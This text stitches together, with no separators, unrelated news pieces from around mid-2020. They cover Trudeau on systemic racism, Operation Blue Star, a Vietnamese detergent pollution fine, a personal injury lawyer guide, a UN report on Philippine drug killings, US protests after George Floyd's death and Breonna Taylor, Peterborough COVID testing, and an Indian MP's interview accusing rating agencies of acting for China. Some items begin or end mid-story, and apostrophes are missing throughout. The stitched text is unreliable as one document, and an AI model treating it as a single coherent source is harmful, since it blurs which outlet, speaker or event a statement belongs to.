I have said from the very beginning that Canada is not immune or exempt from the things that we see going on in the United States, Trudeau said. Racialized Canadians, Indigenous Canadians have long suffered systemic discrimination in every part of this country and even though we have taken significant steps over the past years, there is much more to do.

At the press conference on Thursday, the prime minister was asked if he would consider cutting the RCMPs budget, following Black Lives Matter advocates calling for the defunding of police and Los Angeles pledging to cut US$250 million from the LAPD budget to invest in jobs, in health, in education and in healing.

I think there are many different paths towards making a better country and we need to explore the range of them, Trudeau said. We need to look at whats appropriate in Canada, how we can best keep Canadians safe and how we can best address the systemic racism that exists in far too many parts of our country, and far too many of our institutions.
Operation Blue Star was one of the most tragic and avoidable episode of post-Independence history of India. The Indira Gandhi government could not have chosen the worse time, June 5, 1984, asking the Indian army to storm the holiest Sikh Shrine, Golden Temple, on a day that marked martyrdom of Guru Arjun Dev.

The civil administration of Punjab, under President Rule then, was not kept in the loop, nor was the President of India Giani Zail Singh, a proud Sikh and supreme commander of the Indian army. Lt General K Sunderji, GOC-in-C Western Command, had reportedly assured Prime Minister Indira Gandhi that a knock-out blow on militant leaders Jarnail Singh Bhindranwale, General Shahbeg Singh and other separatists would not last for more than two hours, without realising that sophisticated military weaponry was in place.

On June 5, 1984, when Indian army troops tried to advance, they met with a strong barrage of fire. An armoured car was knocked off by a rocket launcher. It is believed that sensing army build up in Amritsar, the then Chief Secretary S S Dhanoa had called up General Sundarji a day before to check if his men needed help. The army general had told him not to bother. By the time armys six main battle tanks Vijayanta moved inside, the best and the most sacred parts of the temple were reduced to a rubble. Six tanks trundled down marble steps and parikarma to fire at separatists holed inside Akal Takht with 105 mm guns.

Operation Blue Star saw 24 hours of fierce gun battle and resulted in the death of 712 extremists. The operation was successful in the sense that it killed the bulk of the separatists, but the army mission was an utter failure because it failed to prevent the near complete destruction of Harmandir Sahib and the Akal Takht.

In Amritsar (Rupa Books 1985), authors Mark Tully and Satish Jacob recorded how a large number of pilgrims and innocent devotees were killed in the crossfire. The army locked up 60 pilgrims in a room that shut not only the door but the windows also. Electric supply was disconnected. The night between June 5-6 [1984] was extremely hot..the door of the room was opened at 8 am on June 6. By this tme, fifty out of sixty had died. [page 172].

Indira was bitterly opposed to the creation of Punjab state on linguistic lines She had just taken over as prime minister in March 1966 when a demand for creation of a Punjabi suba was conceded. In her book, My Truth (Vision Books), published in 1980, she had recalled her concerns of 1965 when she was minister for Information and Broadcasting in Lal Bahadur Shastri cabinet and a committee under the then Lok Sabha Speaker Sardar Hukum Singh had favoured creation of Punjabi Suba. Indira wrote that she was opposed to formation of Punjab on the basis of language as it had let down Congress Hindu supporters. In her own words, To concede the Akali demand would mean abandoning position to which it (Congress) was firmly committed and letting down its Hindu supporters in the projected Punjabi Suba.this startling reversal of Congress police was totally unexpected.

After the 1947 partition of Punjab, Sikhs intensively demanded formation of a Punjabi speaking state but the First Reorganisation of State Commission 1956 under Justice Fazal Ali failed to address their concerns. Influential Akali leaders Fateh Singh and Tara Singh spearheaded a movement for a separate state in which Sikh religious, cultural and linguistic integrity could be preserved. When 1961 census was conducted, Akali leadership alleged that an overwhelming number of Hindus listed Hindi as their mother tongue, just to stall formation of a Punjabi speaking state or prevent Sikhs who formed 58 per cent of the population, to run the state. In 1966, Punjab was split into three states of Punjab, Haryana and Himachal Pradesh.

Some of Indira's biographers such as Katherine Frank, S S Gill and Pupul Jayakar noticed that when she had returned to power in 1980, Indira had turned a lot more sensitive towards the Hindu community than Muslims or Sikhs. By early 1984, anti-Sikh riots erupted in Haryana in retaliation of killing of Hindus in Punjab where militancy and separatism were peaking. Mark Tully and Satish Jacob wrote in their book Amritsar how Hindu mobs burnt down a gurudwara in Panipat and Sikhs were pulled out of buses, shaved and killed. Indira remained a mute spectator just as she had watched separatists in Punjab kill Hindus almost at will.

Against this backdrop, when gangs of killers on motorcycles began shooting moderate Sikhs and innocent people, Indira lost patience and summoned General Sundarji to evict Bhindranwale from the Golden Temple.

Author Marie Seton was in India during that period and felt that the prime minister was exhausted after Operation Blue Star. She could no longer respond to challenges  always her strongest point. This she could always do. She could always improvise. Now she was retreating from communication. She always had moods like this. She would describe it as being stinking. She would say, I am stinking now, right all the way through.
A long stretch of foam is formed in Suoi Cho Canal in the southern province of Binh Duong, due to by effluents from LIZ Detergent, April 8, 2020. Photo by VnExpress/Thai Ha.

Vietnamese company LIX Detergent has been fined VND1.1 billion ($47,800) for dumping raw materials used for production into a canal.

The dumping created a lot of foam and stench in the canal in Binh Duong Province, which neighbors HCMC.

The punishment decision, signed this week, noted that a branch of the company in the Dai Dang Industrial Park in Thu Dau Mot Town of Binh Duong violated environment regulations by releasing effluents 10 times more than allowed by technical standards.

According to the provincial department of Natural Resources and Environment, the company left the raw materials outdoors and it was washed down an open sewer by a heavy downpour on April 8 into the Suoi Cho Canal. The chain of reaction created a two-meter-high white foam that stretched 200 meters.

Two days later, when all the bubbles dissolved, the stench lingered, killing a lot of fish and making life difficult for people living nearby.

The province has ordered that apart from paying the fine, the company should address its polluting actions, regularly monitor its wastewater collection, develop a crisis response plan for wastewater incidents and submit it to the authorities for approval.

In the southern province alone, the company produces at least 90,000 tons of liquid detergent, according to figures available for 2017.

The Suoi Cho Canal is a drainage project built for industrial parks and the surrounding urban area, flowing into Tan Vinh Hiep Lake in Tan Uyen Town.

Founded in 1992, Lix Detergent Joint Stock Company has a chartered capital of VND324 billion ($14.1 million). Its mother company, the Vietnam National Chemical Group, is 100 percent state-owned.

Water pollution claimed 3,097 lives in Vietnam in 2017, the latest year for which data was available, according to the Pollution and Health Metrics report published by the Global Alliance on Health and Pollution last year.


(Photo : How Do I Choose a Good Personal Injury Lawyer?)

If you've been involved in a personal injury, then you might need to file a personal injury claim, especially if the injuries are life threatening or have been caused by the negligence of another party.

Tragically, car accidents comprise the bulk of the personal injuries. In San Francisco and the greater California, for instance, there was a reported 3651 deaths due to accidents in 2018.

Away from accidents, personal injury also covers other elements that may cause bodily harm such as the work-related injuries.

That said, filing any complaint in the court requires special skills and proper knowledge of the law. There are procedures to be followed, and that's why you need a lawyer to help you.

However, it can be a bit tricky to find the best lawyer because there are many of them out there. But here are 5 guidelines that will help you choose a good lawyer. Check them out!

1. Find a Lawyer Who Specializes with Personal Injury Law



Every lawyer has their area of specialization where they commit their practices. Similarly, there are different categories of personal injuries. For example; medical conditions, vehicle accidents, physical fights, and so on.

You should be careful to pick the relevant lawyer who has enough knowledge in his area of specialization. Lawyers who handle different kinds of claims might not be a good option.

A good personal injury lawyer should be able to determine the causation of your injury and do an evaluation for a fair compensation even before going for a trial in court.

2. Ask Friends and Work Mates



The best way to choose the right lawyer is by asking friends or relatives to refer you to a lawyer who helped them in the past. Unlike in most online platforms, family members and genuine friends can be honest with you. They will not refer you to a lawyer who gave them the worst experience.

Once you have several referrals, consider checking their reputation, location, area of specialization, disciplinary, and winning records.

If you are in San Francisco, it is easy to check the disciplinary records for personal injury lawyers in San Francisco from different firms. You just have to visit California's state bar website and fill the lawyer's bar number.

3. Conduct Online Research on Several Lawyers



Simple research online may help you acquire much information on finding the right Lawyer. Use keywords regarding your accident to find the most appropriate results.

Most lawyers have a website where clients can get their contacts and learn more about them. Visit several websites while still comparing until you find the right match.

In California, many law firms are formed based on the focus of practice.

You should also consider researching the lawyers that you already know. See whether they win in their cases to avoid disappointments.

Do not forget to research their accessibility. If you choose a lawyer who will only afford a limited time for you, you might not have enough time to discuss your case.

4. Find a Lawyer with Relevant Experience



For you to choose a good lawyer, you must find out about their experience. Lawyers are not just lawyers, high experience and skills are key. The good thing with experienced lawyers is that they always have a tendency of winning.

Although most injury cases do not reach to trials, hiring a skilled attorney is important. A good lawyer will not hesitate to take your case to trial if there is a need to do so.

In California, suing an insurance company with a less experienced lawyer will only keep hurting you. Thus, you need a brave and experienced lawyer to handle your case.

5. Discuss and Agree on Payment



Some lawyers charge higher fees than others. You should discuss the payments with your lawyer in advance. Make sure that you agree on a certain percentage before you hire them.

Do not pay your personal injury lawyer until your case is settled.
Philippines drug campaign directive seen as 'permission to kill': UN rights office

4 June 2020 - A campaign to eradicate illegal drugs in the Philippines that began in 2016 has led to the killing of at least 8,600 people but the real figure could be three times that number, the UN human rights office, OHCHR, said on Thursday. In a report citing "near-impunity" for the killings, which have continued along with other alleged abuses during the COVID-19 pandemic, the UN office noted that the High Commissioner for Human Rights stood ready to assist "credible efforts towards accountability", both nationally and internationally.

"The Philippines faces major challenges  structural poverty, inequality, armed conflict, frequent natural disasters, and now the COVID-19 crisis", Michelle Bachelet said in a statement, adding that it was "vital the Government's responses be grounded in human-rights approachesUnfortunately, the report has documented deep-seated impunity for serious human rights violations, and victims have been deprived of justice for the killings of their loved ones. Their testimonies are heartbreaking."

'Neutralization' of suspects

According to the report - mandated by the Human Rights Council in Geneva in 2019 amid widespread international concern - police forces received a "command circular" containing terminology referring to the "negation" and "neutralization" of drug suspects, echoing pledges made by President Rodrigo Duterte.

"This ominous-sounding language was never really defined in this command circular, but this language, coupled with verbal encouragement at the highest level of government for police to kill drug suspects, may have been interpreted as permission to kill", co-author Ravina Shamdasani said.

She noted that raids on private households were routinely carried out without warrants, while police reports where alleged drug suspects had been killed, shared "very similar

language", raising the question whether they had been completed "pro forma", rather than describing operations as they really happened.

Self-defence in question

Ms. Shamdasani also highlighted police claims of "self-defence" after it was found that officers "repeatedly recovered guns bearing the same serial numbers from different victims in different locations", suggesting some victims were unarmed at the time of their killing.

Arrests of suspected drug offenders have also contributed to a 534 per cent prison congestion rate  among the highest in the world, the UN report noted.

Anti-terror law 'makes things much worse'

The report also warned that proposed new anti-terror legislation grants even more sweeping powers to security services.

Among Government proposals are extensions to the length of time individuals can be held for questioning without warrant, from three days to potentially more than three weeks.

"This new proposed anti-terrorism law makes it much worse," Ms. Shamdasani insisted. "There is much more discretion given to the authorities in their designation of individuals and organisations as terrorists, there is really not the opportunity for individuals to present their case (and) there's no explicit provision, mandating a hearing."

These concerns come amid a backdrop of "the vilification of dissent", the UN official continued, along with attacks against those critical of the authorities that the report insists are "increasingly institutionalized and normalized in ways that will be very difficult to reverse".

Civil society victims

According to OHCHR, between 2015 and 2019, at least 248 human rights defenders, legal professionals, journalists and trade unionists, have been killed in relation to their work in the Philippines.

Highlighting reports of death threats and the harassment of human rights defenders, Ms. Shamdasani explained that this included posters "that are plastered across, for example, Negros Island, where human rights defenders are called terrorists. They are 'red tagged' and they're equated with the terrorist wing, the armed wing of the Communist PartyIn

many of these posters, human rights defenders who were depicted were subsequently killed."

Successive administrations had placed "an overarching focus on public order and national security" at the expense of human rights, Ms. Shamdasani said, suggesting that current Government policy represented a "continuum" of previous administrations.

"Of course, preventing and countering of violent extremism is important and tackling the impact of illicit drugs and crime is very important," she explained, "but it is essential that this be done in line with the international human rights obligations of the State, in line with the due process rights of individuals, otherwise you are trying to resolve one issue by perpetrating massive human rights violations."

COVID lockdown enforcement

The arrival of the new coronavirus had not caused a change in Government security policy, the report noted, with killings confirmed of drug suspects and human rights defenders in the first four months of the year.

"The violations that we document in the report are very much ongoing", said Ms. Shamdasani. "The killing and the campaign against illegal drugs are not over, even in the context of the COVID pandemic."

Attacks against human rights defenders and raids on the houses of civil society activists have continued, the OHCHR official added, along with the filing of sedition charges against political opponents and the criminalisation of dissent on social media.

"There are also concerns about the use of force in the enforcement of quarantine", she said. "We've seen worrying reports of people being humiliated, there was one report of young people being held in dog cages in the sun" for breaking curfew.

The OHCHR report is based on 893 written submissions, with substantial input from the Government of the Philippines, analysis of legislation, police reports, court documents, videos, photos and other open source material, as well as interviews with victims and witnesses.

It is due to be discussed at the next UN Human Rights Council session.

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The sixth day of protests in Philadelphia saw peaceful demonstrations focused on unity, and also saw protests ripple across the suburbs, from the Main Line to Norristown. Here are pictures of what that looked like. Also, after some uncertainty earlier in the week, Philadelphia will move into the yellow phase of Gov. Tom Wolfs coronavirus reopening plan.

 Josh Rosenblat (@joshrosenblat, morningnewsletter@inquirer.com)

A Temple University student was arrested during Mondays protests and was being held on allegations that he had assaulted a police officer by pushing him off a bike, causing him to break a hand.

The student, Evan Gorski, was released from custody on Wednesday after video surfaced of Gorski appearing to try to separate an officer and a protester, then immediately retreating when another officer raised his baton. The video then shows a police officer striking him in the head with a baton and another using his knee to pin his face to the street. The charges were dismissed after prosecutors viewed the videos.

The incident is being investigated, according to a police spokesperson.

The police were lying, Gorskis lawyer said. We had a protest against police brutality, and then police brutalize my client and try to frame him for a crime he didnt commit.

Outrage over police injustice is older than the nation itself, my colleague Valerie Russ writes. Yesterday, those protesting demanded a set of police reforms. Gov. Tom Wolf announced that he would appoint a watchdog and create a commission to investigate alleged misconduct by state police and the other law enforcement agencies he oversees. And, Phillys police commissioner told cops that they could not cover their badge numbers with mourning crepe.

Philadelphias retailers, day cares, and offices will be allowed to reopen today. For the last 10 weeks or so, the region has largely been in lockdown mode. Bucks, Montgomery, Delaware, and Chester Counties will also make this move today.

The citys shift to the yellow phase of Gov. Tom Wolfs coronavirus plan comes even as there were some concerns about how the past week of protests could alter Phillys plans to begin loosening restrictions.

Heres a list of the Pennsylvania businesses that can be open during the yellow phase.

What you need to know today

Through your eyes | #OurPhilly

Another shot of the dangerous storm rolling over Philadelphia. Thanks for sharing, @shutter.sean.

Tag your Instagram posts or tweets with #OurPhilly and well pick our favorite each day to feature in this newsletter and give you a shout out!

Thats interesting

Opinions

So again, to be clear, my request of you, as my white friend, is for you to acknowledge the current state of existence for black people in this country, without exception. Recognize and denounce systems of injustice in this country that are used to continue the marginalization, intimidation, and degradation of black people, without exception.  writes Tracy Motley, a teacher at Episcopal Academy, in an open letter to her white friends.

Faye M. Anderson, the director of All That Philly Jazz, writes about three black Philadelphians whose statues should replace Rizzos.

Columnist Will Bunch writes about being out with the protesters in Philadelphia and what the future might hold.

What were reading

Your Daily Dose of | A mystery fan

Forty-six years ago, the Flyers clinched their first Stanley Cup after a 1-0 win over Boston. In the post-game handshake line, a shaggy-haired person with a bottle of champagne joined in, shaking hands with the Bruins. Now, ex-Flyer Brad Marsh, who is the president of the teams alumni association, wants to know who this person is. Hes even offering a reward.
Photo: (Photo : Screenshot from Twitter)

Netizens are disgusted by teens who participate in the "George Floyd Challenge."

The challenge first started in Snapchat. White teens were re-enacting George Floyd's death.

Police in the United Kingdom investigated posts by three teenagers involved in the challenge.

Meanwhile, two supposed students of Missouri State University withdrew their enrolments. That is after they posted offensive racial slur that sparked outrage in social media.

Chardon Police also investigated another photo of a teen participating in the outrageous challenge.

READ ALSO: Mayor Bill de Blasio's Daughter Arrested in a George Floyd Protest in NYC

Three teenagers from the U.K., arrested for hate crime

According to Mail Online, police started their investigation when a photo imitating the death of George Floyd circulated online.

The teens involved were 19 and 18 years old. All were arrested for suspicion of sending communications that cause anxiety and stress. They were released on bail later.

The U.K. police consider the George Floyd challenge as a hate crime. Hence, authorities investigated the incident thoroughly.

According to reports, the three white teens have since shut their social media accounts. However, they have been receiving death threats.

Supposed-MSU students withdrew enrolments.

A video that also sparked outrage from viewers featured two white teens. They were mocking Floyd's killing. The video was posted on Snapchat.

One of the teens in the video was supposed to study at Missouri State University. She decided to rescind her enrolment.

Another student used an offensive racial slur; she also decided to withdraw her enrolment. She posted a photo with the caption, "If we kept them as slaves this would (of) never happen(ed)"

In a statement, Cliff Smart, MSU President, said the two students recognized the extent of what they posted. He said, "Many others have expressed anger and disbelief at the nature and tone of the hurtful social media posts."

READ ALSO: Officer Chauvin Charged for George Floyd's Death, Wife Files for Divorce And Wants Name Changed

Chardon Police Also Investigated A Photo Where A Teen Joined the George Floyd Challenge

A photo was sent to Mail Online. It shows a teen kneeling on the neck of a brown cow.

The photo was tagged in Chardon, Ohio.

However, after careful investigation, the police could not find any connection to Chardon schools or students. The Police Chief of Chardon, Scott Niehus, says that the post was probably tagged incorrectly.

Social networking sites cracked down on the challenge.

When searched on Facebook, #GeorgeFloydChallenge shows, "Hashtag is Hidden." The same applies to the sister site, Instagram.

According to a Facebook statement, the posts were removed because it violated Community Standards set by the site.

Reminders of experts to parents on talking about Racism

Experts say that parents are vital in addressing the need to teach diversity to children. One of the best ways that experts have is to talk about topics that parents consider sensitive. Such sensitive topics include race and privilege. Shrugging off or dismissing the curiosity or comments of children about skin color, appearance, or diversity will only make things worse.

READ ALSO: Parents Ask: How To Talk About Race And Privilege With Children?
The number of confirmed COVID-19 cases in Peterborough city and county and Curve Lake First Nation and Hiawatha First Nation held steady Friday, despite a surge in testing over the past week and a half with the introduction of drive-thru testing.

More than 9,800 people have now been tested, Peterborough Public Health reported Friday.

The number of cases remained at 90, with 80 of the cases already resolved, along with two earlier deaths, leaving only eight active cases.

There were no local institutional outbreaks as of Friday.

County drive-thru testing

Peterborough Public Health held a drive-thru testing clinic on Friday at the Hiawatha First Nation L.I.F.E. Centre.

Another will be held Saturday from 10 a.m. to 4:30 p.m. at the Curve Lake School for Curve Lake First Nation residents only.

There will be another clinic Monday from 10 a.m. to 4:30 p.m. at the Apsley Paramedic Base, beside the North Kawartha Medical Centre at 183 Burleigh St., Apsley in North Kawartha Township (open to all permanent and seasonal residents).

The Kinsmen Civic Centre drive-thru clinic at Sherbrooke Street and Medical Drive will continue operating daily until at least June 12 from 9 a.m. to 4:30 p.m. and has already tested more than 2,000 people at an average daily rate of about 260.

No appointment is needed. Bring an Ontario Health card.

People with symptoms still need to call the COVID-19 Assessment Centre at 705-876-5086 to book an appointment.

The hours of the clinic located outside of the Peterborough Regional Health Centre will be changing as of Monday to 9 a.m. to 5 p.m. seven days a week.

Ontario COVID-19 cases This interactive map shows confirmed cases of COVID-19 and deaths related to the virus as reported by public health units across Ontario. The map is updated hourly.

Canada Summer Jobs Program

Women and Gender Equality Minister Maryam Monsef said there are jobs available for students this summer in Peterborough  and she encouraged applications.

The federal government has made changes to the Canada Summer Jobs program to help employers offer jobs to Canadians aged 15 to 30 this summer.

The changes include an increase to the wage subsidy, for example, so that employers can receive up to 100 per cent of the minimum wage in the province or territory for each employee.

The program is expected to create 70,000 jobs across Canada, and this week Monsef said there are openings in Peterborough.

Monsef told The Examiner on Wednesday the governments Job Bank was showing opportunities for students in Peterborough in agencies such as the Kawartha Sexual Assault Centre, the Downtown BIA and the YES Shelter for Youth and Families.

For more, visit the Job Bank at jobbank.gc.ca
'China's investment destination image the world over has taken a beating, therefore investors feel India is a safe haven for investments.'

'FDI is at an all-time high in India.'

'Now after such poor ratings, this FDI amount will fall.'

'Therefore, I am saying these things are happening at China's behest.'

Nishikant Dubey -- the Bharatiya Janata Party member of the Lok Sabha who represents Godda in Jharkhand -- has urged Prime Minister Narendra Damodardas Modi to take immediate action against global rating agencies Moody's, Fitch and S&P, and has accused them of trying to destabilise India's economy as part of a Chinese conspiracy.

Dubey's statement came soon after Moody's downgraded India's sovereign rating to 'Baa3' from 'Baa2'.

'Baa3' is the lowest investment grade, just a notch above junk status.

"Lockdown is all over the world, but why are these rating agencies targeting India alone?" Dubey asks Rediff.com's Syed Firdaus Ashraf.

Are you saying these rating agencies are working at China's behest to give India a bad name?

These rating agencies are financed by China. And right now, in the post-pandemic world, China is worried that most companies will pack up and come to India.

In this scenario, if India is given a lower rating, then the investment cycle in India will slow down.

Lockdown is all over the world, but why are these rating agencies targeting India alone?

They have lowered the ratings of other countries too.

Those are small countries. And these countries are not a threat to China.

It is only India which is a threat to China.

China's investment destination image the world over has taken a beating and therefore investors feel India is a safe haven for investments.

FDI is at all-time high in India and now after such poor ratings (by Moody's) this FDI amount will fall.

Therefore, I am saying these things are happening at China's behest.

I had flagged this matter earlier, even before the rating agencies reduced India's rating. And since they did as I had predicted earlier, I am proved right.

But companies shifting from China are going to Vietnam and Indonesia, and not coming to India.

Nobody is going anywhere right now. It will take six months to dismantle businesses from China.

The Indian government was giving these companies good incentives through its policies so that these companies could come and invest here.

And in such a scenario, the grading by such agencies matters a lot. Because they decide which country is safe to invest in and which is not.

Obviously, any investor would want to invest money in a country which is safe. Now, all of a sudden the news of downgrading India's status creates a fear psychosis among investors that their money is not safe in India.

And this is happening at a time when FDI is at an all-time high.

Do you feel there is a plan to bring India's standing among investors into disrepute?

People invest in China because they have cheap labour. They are getting the population dividend. The only alternative can be India.

And if you downgrade India, then India does not become a competitive market compared to China.

This is happening after 21 years, that India's status is being downgraded.

It is a reality that jobs are being lost and salaries are being cut of employees across all sectors.

On the ground India's status economically is bad.

These same rating agencies rate companies and banks. These same rating agencies gave good ratings to IL&FS just before it went bust.

These rating agencies are private bodies, so why should we depend on them?

Russia and China do not allow these rating agencies to interfere in their economies and they have been thrown out of those countries.

Is that why you are demanding they should be thrown out of India?

One hundred percent.

When these rating agencies were not in India, were we not growing or getting investments into our country?

Isn't your call a sign of dictatorship? We are a democratic country unlike China and Russia.

There are two systems. Basel Committee on Banking Supervision (external link) and International Financing Reporting Standards (external link). They report on and keep a check on the liquidity and lending of banks.

These are private bodies and our banks are structured according to their norms.

The agreement (with them) was signed (by the Reserve Bank of India in 1992) under Dr Manmohan Singh (then India's finance minister).

The other countries which signed the agreement have in reality kept themselves out of their norms.

Now when you know that other countries which signed these norms kept themselves out of it, our government should have thought well before signing up, isn't it?

See the WTO information technology agreement which India signed in the 1990s.

At that time we had no idea that mobile phones or computers will become such a big thing in the future. Without knowing this fact, we signed the agreement.

Today, when we try to raise import duties on these electronic goods there is a hue and cry all over the world.

But we had to do it because India was a part of the WTO. We got access to world markets just like other countries got access to Indian markets.

China signed this in 2001, at a time when they were sure they could compete in world markets.

Therefore, I am saying the government must take a stance against these rating agencies as it is all about investments and creating jobs in India.

Since I am not in the government, I don't know the pros and cons of these issues.

But you are a ruling party MP, you can always voice your opinion to your government.

I am not in the government but a party member, and this is my suggestion. This is an individual suggestion and not as a minister.

Many people feel the fundamentals of India's macro economy have weakened, which is why the poor ratings.

India's macro economy is strong and it will grow. We are showing 4.2% GDP growth.

But it has fallen to 3%.

That is for the last quarter (January to March 2020). And this figure too is good compared to other countries.

Indian economic fundamentals are strong. Therefore, we need to shut the shop of companies like Moody's.

They invested Rs 500 crore in India and took a dividend of Rs 1,500 crore.

But they have a standing in the world. And they have a track record for getting it right.

I am only giving a suggestion. I also gave the example what other governments are doing.

To take a decision on them is the government's job.
Former President Barack Obama offered advice to demonstrators during a virtual town hall on Wednesday in his first on-camera remarks as growing unrest against police brutality continues across the country.

"To bring about real change, we both have to highlight a problem and make people in power uncomfortable," Obama said. But we also have to translate that into practical solutions and laws that can be implemented.

The event was organized by the Obama Foundation, which featured a discussion about nationwide police reform, in the wake of national unrest sparked in large part by the killing of George Floyd while in Minneapolis police custody.

In previous speeches, Obama offered veiled condemnation of President Donald Trumps administration for its response to the coronavirus outbreak but in this address offered counsel as protest continues across the nation amid the pandemic.

"I want to speak directly to the young men and women of color in this country," he said. "I want you to know that you matter. I want you to know that your lives matter. That your dreams matter."

Obama said in his address that this moment is politically advantageous for protesters who are calling for widespread police reforms and large-scale institutional change, unlike similar moments of unrest in the nations history.

For instance, the former president said he rejected comparisons to the 1960s when the nation was at war overseas while the Civil Rights Movement was happening domestically amid police violence and the assassinations of political and community leaders.

I know enough about that history to say there is something different here, he said, noting that polls show a majority of Americans support the protests. There is a change in mindset thats taking place, a greater recognition that we can do better.

Full coverage of George Floyds death and protests around the country

He added, Thats a direct result of the activities and organizing and mobilization and engagement of so many young people across the country who put themselves out on the line to make a difference.

Story continues

While president, Obama created the Task Force on 21st Century Policing in December 2014 following the unrest in Ferguson, Missouri prompted by the shooting of Michael Brown, who was black, by a white police officer.

The task force issued its final report, which called for more data on police shootings, among other issues, in May 2015. However, Obama said many police departments have been slow to adopt reforms and called on cities to enact policy changes. He said he also was heartened to see positive interactions between police and protesters, despite many violent clashes.

"We're grateful for the vast majority of you who protect and serve," he said. "I've been heartened to see those in law enforcement who've recognized, 'Let me march along with these protesters...I want to be part of the solution.
During a call earlier this week with governors, Mills told the president she was concerned about security problems for our state if Trump visited because of his harsh remarks about handling demonstrators. The president said her remarks only made him more determined to come, adding, she just doesn't understand me very well. Mills has said she will be working during Trump's visit.
Before George Floyd, there was Breonna Taylor.

The 26-year-olds name now appears on signs and is shouted aloud alongside Mr Floyds at protests across the United States, amid a national reckoning over police violence against black people. She, too, was killed at the hands of police, on March 13, as they stormed into her Louisville home in the middle of the night to serve a controversial no-knock warrant.

But at the time, her death went largely unnoticed outside of her hometown. Until the subsequent killings of Mr Floyd and Ahmaud Arbery  who was shot by two white men in Georgia while jogging  her family had struggled to have their case heard. Even today, the officers who killed Ms Taylor have not been charged or fired.

Her story is one of many cases of police violence against black women that have failed to attract nationwide attention. On what would have been her 27th birthday, activists are raising awareness of the hidden scourge they say deserves separate consideration in the conversation around racial violence by police.

"The erasure of black women is a consequence of that fact that we dont know their names and therefore we dont know their stories," said civil rights advocate and law professor Kimberle Crenshaw, who founded the Say Her Name campaign to highlight police violence against black women.

George Floyd death: Minneapolis protests erupt in the streets Show all 30 1 /30 George Floyd death: Minneapolis protests erupt in the streets George Floyd death: Minneapolis protests erupt in the streets Police spray mace at protestors to break up a gathering near the Minneapolis Police third precinct after a white police officer was caught on a bystander's video pressing his knee into the neck of African-American man George Floyd, who later died at a hospital, in Minneapolis Reuters George Floyd death: Minneapolis protests erupt in the streets A protester holds a sign with an image of George Floyd AP George Floyd death: Minneapolis protests erupt in the streets Protesters demonstrate against the death of George Floyd AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A protester throws a piece of wood on a fire in the street just north of the 3rd Police Precinct Getty George Floyd death: Minneapolis protests erupt in the streets People in other US cities also protested the murder, like Los Angeles AFP via Getty George Floyd death: Minneapolis protests erupt in the streets Getty George Floyd death: Minneapolis protests erupt in the streets AP George Floyd death: Minneapolis protests erupt in the streets Reuters George Floyd death: Minneapolis protests erupt in the streets AFP via Getty George Floyd death: Minneapolis protests erupt in the streets AFP via Getty George Floyd death: Minneapolis protests erupt in the streets AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A police officer lobs a canister to break up crowds Reuters George Floyd death: Minneapolis protests erupt in the streets A protester is treated after inhaling tear gas Getty George Floyd death: Minneapolis protests erupt in the streets Two police officers stand on the roof of the Third Police Precinct during a face off with a group of protesters Getty George Floyd death: Minneapolis protests erupt in the streets Protesters outside a Minneapolis police precinct two days after George Floyd died EPA George Floyd death: Minneapolis protests erupt in the streets Protesters run from tear gas Reuters George Floyd death: Minneapolis protests erupt in the streets AP George Floyd death: Minneapolis protests erupt in the streets Demonstrators gather to protest in Los Angeles AP George Floyd death: Minneapolis protests erupt in the streets Police remove barricades set by protesters AFP via Getty George Floyd death: Minneapolis protests erupt in the streets Getty George Floyd death: Minneapolis protests erupt in the streets A fire burns inside of an Auto Zone store near the Third Police Precinct Getty George Floyd death: Minneapolis protests erupt in the streets Flowers, signs and balloons are left near a makeshift memorial to George Floyd near the spot where he died AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A policeman faces a protester holding a placard in downtown Los Angeles AFP via Getty George Floyd death: Minneapolis protests erupt in the streets A couple poses with a sign in Los Angeles AFP via Getty George Floyd death: Minneapolis protests erupt in the streets MINNEAPOLIS, MN - MAY 27: A man is tended to after sustaining an injury from a projectile shot by police outside the 3rd Police Precinct building on May 27, 2020 in Minneapolis, Minnesota. Four Minneapolis police officers have been fired after a video taken by a bystander was posted on social media showing Floyd's neck being pinned to the ground by an officer as he repeatedly said, "I cant breathe". Floyd was later pronounced dead while in police custody after being transported to Hennepin County Medical Center. (Photo by Stephen Maturen/Getty Images) Stephen Maturen Getty George Floyd death: Minneapolis protests erupt in the streets Getty George Floyd death: Minneapolis protests erupt in the streets A protester reacts after inhaling tear gas Getty George Floyd death: Minneapolis protests erupt in the streets Getty Images George Floyd death: Minneapolis protests erupt in the streets Protesters use shopping carts as a barricade Getty Images George Floyd death: Minneapolis protests erupt in the streets Protesters clash with the police as they demonstrate against the death of George Floyd AFP via Getty Images

If black lives really do matter, all black lives have to matter. That means black lives across gender have to be lifted up, she told Good Morning America on Friday, as her campaign encouraged people online to discuss the share the names of other black women who died at the hands of police: Atatiana Jefferson, Natasha McKenna, Pamela Turner, Sandra Bland and Kayla Moore, to name a few.

The killings of black women follow a familiar pattern, according to Professor Crenshaw. Commenting in October 2019 on the death of 28-year-old Ms Jefferson, another black woman at the hands of police, she wrote:

Its not that we lack stories of black women killed by the police; rather, it seems that we dont know what to do with them, she wrote.

The families of these women often suffer in relative obscurity. Their daughters deaths dont elicit the marches or news coverage that could catalyze accountability. When most people think about anti-black violence, like lynchings or police killings, they think about men, she continued.

While the risk for black men dying at the hands of police is significantly higher than for women  police killings account for 1.6 percent of all deaths of black men aged 20 to 24 nationwide  black women are killed at a disproportionate rate compared to other races.

They make up just 10 per cent of the population and account for 33 percent of all women killed by the police. They are the only race-gender group to have a majority of its members killed while unarmed, according to a study by the Fatal Interactions with Police (FIPS) research project, and cited by Professor Crenshaw. The same study found that 57 per cent of black women were unarmed when they were killed.

Separate research also shows that black women are disproportionately at risk of arrest. A 2017 study noted that the rate of arrest for black women is 2.8 times the arrest rate of white women.

Ms Taylor was one of those unarmed victims. She was an emergency medical technician, an essential worker, and had been working long hours as coronavirus cases were spreading across the country.

"She had a whole plan on becoming a nurse and buying a house and then starting a family, she said at a vigil in Louisville last month. Breonna had her head on straight, and she was a very decent person.

In an interview to mark her daughters birthday, she added: "In that brief moment, where people forgot about her for two months at a time, people need to know that Breonna Taylor mattered and that Breonna Taylor was great.

Ms Taylor was killed in her bed as officers rushed into her apartment. Police had obtained a controversial no-knock warrant to investigate acquaintances of Ms Taylors boyfriend they believed were selling drugs.

The officers, who were not in uniform, fired 20 rounds during the raid. Eight of them hit Ms Taylor. Police said they fired in response to the boyfriend, Kenneth Walker, firing his weapon. According to a lawsuit filed by the family over Ms Taylors death, Mr Walker thought he was firing at intruders.

